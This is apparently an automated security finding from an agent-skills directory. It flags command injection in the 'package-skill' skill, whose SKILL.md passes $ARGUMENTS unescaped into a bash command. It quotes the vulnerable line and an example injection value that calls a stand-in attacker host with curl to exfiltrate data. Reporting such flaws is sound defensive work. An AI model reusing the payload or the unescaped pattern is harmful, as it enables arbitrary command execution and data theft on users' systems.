The Agent Skills Directory

[COMMAND_EXECUTION]: The skill directly interpolates the $ARGUMENTS variable into a bash shell command.
Evidence (SKILL.md): python3 "$SCRIPT" $ARGUMENTS
Risk: Because $ARGUMENTS is derived from user input or external data without escaping or validation, an attacker can provide input containing shell metacharacters (e.g., ;, &&, |) to execute arbitrary commands on the host system. For example, providing an argument like my-skill ; curl http://attacker.com/$(whoami) would result in unauthorized data exfiltration or system compromise.

package-skill